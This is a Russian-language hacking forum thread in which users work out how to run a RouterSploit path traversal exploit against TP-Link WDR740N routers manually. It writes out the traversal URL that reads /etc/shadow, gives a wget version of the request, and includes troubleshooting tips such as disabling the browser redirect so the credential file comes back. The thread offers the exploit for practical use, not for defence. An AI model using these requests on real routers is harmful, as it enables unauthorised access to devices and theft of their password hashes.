Как использовать сплоит из routersploit вручную?

[egozalet]

Как использовать сплоит из routersploit вручную?

https://github.com/reverse-shell/ro...its/tplink/wdr740nd_wdr740n_path_traversal.py (https://github.com/reverse-shell/routersploit/blob/master/routersploit/modules/exploits/tplink/wdr740nd_wdr740n_path_traversal.py)

Сделать Get запрос на - http://IP/help/../../../../../../../../../../../../../../../../etc/shadow ?

[egozalet]

ok- said:
↑ (https://antichat.live/posts/4050812/)
Сделать Get запрос на -
http://IP/help/../../../../../../../../../../../../../../../../etc/shadow
?


http://192.168.0.1/help/../../../../../../../../../../../../../../../../etc/shadow

http://192.168.1.1/help/../../../../../../../../../../../../../../../../etc/shadow[/QUOTE]

Через Routersploit - Работает уязвимость

Через хром,мозилла,сафари - выдает окно о том что пароль неверный и автоматически сокращает до http://192.168.1.1/etc/shadow

если wget'om, то -

wget http://xx.xx.xx.xx:8080/help/../../../../../../../../../../../../../../../../etc/shadow

HTTP request sent, awaiting response... 501 Not Implemented

[egozalet]

Вот тут это работает. Странно!

http://www.websec.mx/img/tplink-path-traversal.png

[rudu2]

egozalet said:
↑ (https://antichat.live/posts/4050814/)
Вот тут это работает. Странно!
http://www.websec.mx/img/tplink-path-traversal.png


нечего странного там редиректит тебя просто

[egozalet]

rudu2 said:
↑ (https://antichat.live/posts/4053664/)
нечего странного там редиректит тебя просто


А как тогда получить руками результат?

[rudu2]

egozalet said:
↑ (https://antichat.live/posts/4053705/)
А как тогда получить руками результат?


отключить редирект в браузере)